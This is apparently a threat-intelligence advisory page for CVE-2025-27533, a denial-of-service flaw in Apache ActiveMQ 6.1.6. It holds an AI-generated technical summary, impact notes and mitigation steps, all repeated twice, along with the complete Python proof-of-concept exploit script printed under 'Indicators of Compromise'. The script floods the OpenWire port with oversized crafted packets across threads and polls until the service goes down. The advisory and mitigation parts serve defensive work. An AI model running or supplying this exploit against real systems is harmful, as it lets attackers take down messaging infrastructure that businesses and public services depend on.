Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
AI Analysis
Technical Summary
The security threat pertains to a Denial of Service (DoS) vulnerability identified as CVE-2025-27533 affecting Apache ActiveMQ version 6.1.6. Apache ActiveMQ is a widely used open-source message broker that facilitates communication between distributed applications via messaging protocols such as OpenWire. The vulnerability allows an unauthenticated remote attacker to disrupt the availability of the ActiveMQ service by sending specially crafted large packets to the OpenWire port (default 61616). The provided exploit code, written in Python 3, demonstrates a proof-of-concept attack that repeatedly sends oversized malicious packets with randomized payloads to the target server. These packets are constructed with a large buffer size (up to approximately 30 MB) and a specific packet structure designed to overwhelm the server's resources, causing the TCP port to become unresponsive and effectively denying service to legitimate clients. The exploit uses multi-threading and connection retries to maximize the chances of successful disruption. It also monitors the server's TCP port status to detect when the service becomes unavailable. The attack requires no authentication or user interaction and can be executed remotely over the network. The exploit targets the OpenWire protocol port and also checks the administrative web interface (default port 8161) for availability, although the attack vector focuses on the OpenWire port. No official patches or mitigations are linked in the provided information, and there are no known exploits in the wild yet. The severity is classified as medium by the source, but the exploit demonstrates the ability to cause service outages remotely and without credentials.
Potential Impact
For European organizations relying on Apache ActiveMQ 6.1.6 for critical messaging infrastructure, this vulnerability poses a significant risk to service availability. Disruption of ActiveMQ can halt inter-application communication, impacting business processes, real-time data flows, and operational continuity. Industries such as finance, telecommunications, manufacturing, and public services that depend on message brokers for asynchronous communication could experience outages or degraded performance. The DoS attack can be launched remotely without authentication, increasing the attack surface and risk from external threat actors. Prolonged or repeated exploitation could lead to cascading failures in dependent systems, loss of productivity, and potential financial losses. Additionally, disruption of messaging services in critical infrastructure or government systems could have broader societal impacts. Although the vulnerability does not directly compromise confidentiality or integrity, the availability impact alone is critical for organizations with high uptime requirements. Given the lack of patches and the availability of exploit code, organizations face an urgent need to implement mitigations to prevent exploitation.
Mitigation Recommendations
1. Immediate mitigation should include network-level protections such as firewall rules to restrict access to the OpenWire port (default 61616) to trusted internal IP addresses only, blocking all unauthorized external traffic. 2. Deploy intrusion detection/prevention systems (IDS/IPS) with signatures or anomaly detection tuned to identify unusually large or malformed packets targeting ActiveMQ. 3. Implement rate limiting and connection throttling on the ActiveMQ server or network perimeter to limit the number of concurrent connections and packet sizes accepted. 4. Monitor ActiveMQ server logs and network traffic for signs of repeated connection attempts or large packet transmissions indicative of this exploit. 5. If possible, upgrade to a later, patched version of Apache ActiveMQ once available from the vendor. In the absence of an official patch, consider temporary disabling or isolating the OpenWire service if it is not critical. 6. Employ network segmentation to isolate messaging infrastructure from less trusted networks and reduce exposure. 7. Conduct regular backups and have incident response plans ready to restore service quickly in case of disruption. 8. Engage with Apache ActiveMQ community and security advisories to stay informed about patches or updates addressing this vulnerability. These measures go beyond generic advice by focusing on specific network controls, monitoring, and operational procedures tailored to the nature of this DoS attack.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Sweden, Belgium, Poland, Switzerland
Indicators of Compromise
- exploit-code: # Exploit Title: Apache ActiveMQ 6.1.6 - Denial of Service (DOS) # Date: 2025-05-9 # Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/) # Github: https://github.com/absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ # CVE: CVE-2025-27533 import socket import struct import time import datetime import threading import requests import argparse import random from colorama import init, Fore from tabulate import tabulate from tqdm import tqdm from concurrent.futures import ThreadPoolExecutor init() def print_banner(): banner = f""" {Fore.CYAN}============================================================ CVE-2025-27533 Exploit PoC - Apache ActiveMQ DoS ============================================================ {Fore.YELLOW}Developed by: absholi7ly {Fore.CYAN}============================================================{Fore.RESET} """ print(banner) def _check_server_availability(host, port, admin_port=8161, timeout=2): """Internal function to check server availability""" tcp_reachable = False admin_reachable = False try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((host, port)) sock.close() tcp_reachable = True except (socket.timeout, ConnectionRefusedError): pass try: response = requests.get(f"http://{host}:{admin_port}/admin", timeout=timeout) admin_reachable = response.status_code == 200 except (requests.Timeout, requests.ConnectionError): pass return tcp_reachable, admin_reachable def check_server_availability(host, port, admin_port=8161, timeout=2, retries=5): for _ in range(retries): tcp_reachable, admin_reachable = _check_server_availability(host, port, admin_port, timeout) if not tcp_reachable: return False, admin_reachable time.sleep(0.5) return True, admin_reachable def parse_hex_or_int(value): try: if value.startswith('0x') or value.startswith('0X'): return int(value, 16) return int(value) except ValueError: raise ValueError(f"Invalid integer or hex value: {value}") def create_malicious_packet(buffer_size=0x1E00000, packet_id=1): command_type = 0x01 client_id = f"EXPLOIT-PACKET-{packet_id:04d}".encode() version = 12 packet = bytearray() packet += b'\x00\x00\x00\x00' packet += struct.pack("B", command_type) packet += struct.pack(">I", len(client_id)) packet += client_id packet += struct.pack(">I", version) packet += struct.pack(">I", buffer_size) packet += bytes(random.randint(0, 255) for _ in range(50)) packet_length = len(packet) - 4 packet[0:4] = struct.pack(">I", packet_length) return packet def send_single_packet(host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event): if stop_event.is_set(): return timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3] tcp_reachable, admin_reachable = check_server_availability(host, port) status = f"TCP: {'Up' if tcp_reachable else 'Down'}, Admin: {'Up' if admin_reachable else 'Down'}" local_port = "N/A" connection_status = "Success" max_connect_retries = 5 for connect_attempt in range(max_connect_retries): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024) sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) try: sock.connect((host, port)) local_port = sock.getsockname()[1] print(f"{Fore.GREEN}[+] Connected to {host}:{port} (Packet {packet_num}/{total_packets}, Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}") max_retries = 3 for attempt in range(max_retries): try: sock.send(packet) print(f"{Fore.CYAN}[*] Sent Packet {packet_num}/{total_packets} (Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}") try: response = sock.recv(2048) response_len = len(response) connection_status = f"Success (Response: {response_len} bytes)" except: connection_status = "Success (No Response)" break except socket.error as e: connection_status = f"Failed: {str(e)}" if attempt < max_retries - 1: print(f"{Fore.YELLOW}[-] Failed to send Packet {packet_num}/{total_packets} (Attempt {attempt+1}, Port: {local_port}): {e}. Retrying...{Fore.RESET}") time.sleep(0.5) continue else: print(f"{Fore.RED}[-] Failed to send Packet {packet_num}/{total_packets} after {max_retries} attempts: {e}{Fore.RESET}") packet_status.append([packet_num, timestamp, status, local_port, f"Packet-{packet_num:04d}", connection_status]) break except socket.timeout: print(f"{Fore.RED}[-] Connection timeout for Packet {packet_num}/{total_packets} (Port: {local_port}){Fore.RESET}") packet_status.append([packet_num, timestamp, "Connection Timeout", local_port, f"Packet-{packet_num:04d}", "Timeout"]) break except socket.error as e: error_str = str(e) if "10053" in error_str: error_type = "Connection Reset" elif "timeout" in error_str: error_type = "Timeout" else: error_type = "Other" if "10053" in error_str and connect_attempt < max_connect_retries - 1: print(f"{Fore.YELLOW}[-] [WinError 10053] for Packet {packet_num}/{total_packets} (Attempt {connect_attempt+1}): {e}. Retrying connection...{Fore.RESET}") time.sleep(1) continue print(f"{Fore.RED}[-] Error connecting for Packet {packet_num}/{total_packets} (Port: {local_port}): {e}{Fore.RESET}") packet_status.append([packet_num, timestamp, f"Error: {error_type}", local_port, f"Packet-{packet_num:04d}", f"Error: {error_str}"]) break finally: sock.close() packet = None def send_packets(host, port, total_packets=2000, buffer_sizes=[0x1E00000, 0x3200000]): packet_status = [] stop_event = threading.Event() max_threads = 2 pbar = tqdm(total=total_packets, desc="Sending Packets", unit="packet") def monitor_server(): while not stop_event.is_set(): tcp_reachable, _ = check_server_availability(host, port) if not tcp_reachable: print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}") stop_event.set() break time.sleep(1) monitor_thread = threading.Thread(target=monitor_server) monitor_thread.start() packet_num = 1 with ThreadPoolExecutor(max_workers=max_threads) as executor: futures = [] while packet_num <= total_packets and not stop_event.is_set(): buffer_size = random.choice(buffer_sizes) packet = create_malicious_packet(buffer_size, packet_num) future = executor.submit( send_single_packet, host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event ) futures.append(future) packet_num += 1 pbar.update(1) time.sleep(random.uniform(0.3, 0.5)) if packet_num % 50 == 0: tcp_reachable, _ = check_server_availability(host, port) time.sleep(2) if not tcp_reachable: print(f"{Fore.GREEN}[+] Server TCP port {port} is down!{Fore.RESET}") stop_event.set() break print(f"{Fore.MAGENTA}[*] {packet_num} packets sent,{Fore.RESET}") pbar.close() stop_event.set() monitor_thread.join() packet_status.sort(key=lambda x: x[0]) total_sent = len(packet_status) successful = sum(1 for p in packet_status if p[5].startswith("Success")) failed = total_sent - successful print(f"\n{Fore.CYAN}[*] Packet Status Table:{Fore.RESET}") print(tabulate( packet_status, headers=["Packet #", "Timestamp", "Server Status", "Local Port", "Packet ID", "Connection"], tablefmt="fancy_grid", stralign="center", numalign="center" )) print(f"\n{Fore.CYAN}[*] Exploit Statistics:{Fore.RESET}") print(f" - Total Packets Sent: {total_sent}") print(f" - Successful Packets: {successful} ({successful/total_sent*100:.2f}%)") print(f" - Failed Packets: {failed} ({failed/total_sent*100:.2f}%)") tcp_reachable, admin_reachable = check_server_availability(host, port) print(f"\n{Fore.CYAN}[*] Final Server Status:{Fore.RESET}") if not tcp_reachable: print(f"{Fore.GREEN}[+] Exploit Successful: TCP port {port} is down!{Fore.RESET}") else: print(f"{Fore.YELLOW}[-] Exploit Incomplete: TCP port {port} still up.{Fore.RESET}") return packet_status def main(): print_banner() parser = argparse.ArgumentParser(description="CVE-2025-27533 Exploit PoC for Apache ActiveMQ") parser.add_argument("--host", default="127.0.0.1", help="Target IP address") parser.add_argument("--port", type=int, default=61616, help="OpenWire port") parser.add_argument("--total-packets", type=int, default=2000, help="Total packets to send") parser.add_argument("--buffer-sizes", type=parse_hex_or_int, nargs='+', default=[0x1E00000, 0x3200000], help="Buffer sizes in bytes (decimal or hex)") args = parser.parse_args() print(f"{Fore.CYAN}[*] Exploit Configuration:{Fore.RESET}") print(f" - Target: {args.host}:{args.port}") print(f" - Total Packets: {args.total_packets}") print(f" - Buffer Sizes: {[f'{size:#x} ({size // (1024*1024)} MB)' for size in args.buffer_sizes]}") print(f"\n{Fore.CYAN}[*] Sending malicious packets...{Fore.RESET}") packet_status = send_packets(args.host, args.port, args.total_packets, args.buffer_sizes) if __name__ == "__main__": try: main() except KeyboardInterrupt: print(f"{Fore.RED}[-] Program interrupted by user.{Fore.RESET}")
Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
Description
Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
AI-Powered Analysis
Technical Analysis
The security threat pertains to a Denial of Service (DoS) vulnerability identified as CVE-2025-27533 affecting Apache ActiveMQ version 6.1.6. Apache ActiveMQ is a widely used open-source message broker that facilitates communication between distributed applications via messaging protocols such as OpenWire. The vulnerability allows an unauthenticated remote attacker to disrupt the availability of the ActiveMQ service by sending specially crafted large packets to the OpenWire port (default 61616). The provided exploit code, written in Python 3, demonstrates a proof-of-concept attack that repeatedly sends oversized malicious packets with randomized payloads to the target server. These packets are constructed with a large buffer size (up to approximately 30 MB) and a specific packet structure designed to overwhelm the server's resources, causing the TCP port to become unresponsive and effectively denying service to legitimate clients. The exploit uses multi-threading and connection retries to maximize the chances of successful disruption. It also monitors the server's TCP port status to detect when the service becomes unavailable. The attack requires no authentication or user interaction and can be executed remotely over the network. The exploit targets the OpenWire protocol port and also checks the administrative web interface (default port 8161) for availability, although the attack vector focuses on the OpenWire port. No official patches or mitigations are linked in the provided information, and there are no known exploits in the wild yet. The severity is classified as medium by the source, but the exploit demonstrates the ability to cause service outages remotely and without credentials.
Potential Impact
For European organizations relying on Apache ActiveMQ 6.1.6 for critical messaging infrastructure, this vulnerability poses a significant risk to service availability. Disruption of ActiveMQ can halt inter-application communication, impacting business processes, real-time data flows, and operational continuity. Industries such as finance, telecommunications, manufacturing, and public services that depend on message brokers for asynchronous communication could experience outages or degraded performance. The DoS attack can be launched remotely without authentication, increasing the attack surface and risk from external threat actors. Prolonged or repeated exploitation could lead to cascading failures in dependent systems, loss of productivity, and potential financial losses. Additionally, disruption of messaging services in critical infrastructure or government systems could have broader societal impacts. Although the vulnerability does not directly compromise confidentiality or integrity, the availability impact alone is critical for organizations with high uptime requirements. Given the lack of patches and the availability of exploit code, organizations face an urgent need to implement mitigations to prevent exploitation.
Mitigation Recommendations
1. Immediate mitigation should include network-level protections such as firewall rules to restrict access to the OpenWire port (default 61616) to trusted internal IP addresses only, blocking all unauthorized external traffic. 2. Deploy intrusion detection/prevention systems (IDS/IPS) with signatures or anomaly detection tuned to identify unusually large or malformed packets targeting ActiveMQ. 3. Implement rate limiting and connection throttling on the ActiveMQ server or network perimeter to limit the number of concurrent connections and packet sizes accepted. 4. Monitor ActiveMQ server logs and network traffic for signs of repeated connection attempts or large packet transmissions indicative of this exploit. 5. If possible, upgrade to a later, patched version of Apache ActiveMQ once available from the vendor. In the absence of an official patch, consider temporary disabling or isolating the OpenWire service if it is not critical. 6. Employ network segmentation to isolate messaging infrastructure from less trusted networks and reduce exposure. 7. Conduct regular backups and have incident response plans ready to restore service quickly in case of disruption. 8. Engage with Apache ActiveMQ community and security advisories to stay informed about patches or updates addressing this vulnerability. These measures go beyond generic advice by focusing on specific network controls, monitoring, and operational procedures tailored to the nature of this DoS attack.
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Technical Details
- Edb Id
- 52288
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
# Exploit Title: Apache ActiveMQ 6.1.6 - Denial of Service (DOS) # Date: 2025-05-9 # Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/) # Github: https://github.com/absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ # CVE: CVE-2025-27533 import socket import struct import time import datetime import threading import requests import argparse import random from colorama import init, Fore from tabulate import tabulate from tqdm import tqdm from concurrent.futures import ThreadPool... (10404 more characters)
Threat ID: 68489df67e6d765d51d53943
Added to database: 6/10/2025, 9:04:54 PM
Last enriched: 6/11/2025, 9:13:16 PM
Last updated: 8/12/2025, 6:02:05 PM
Views: 17
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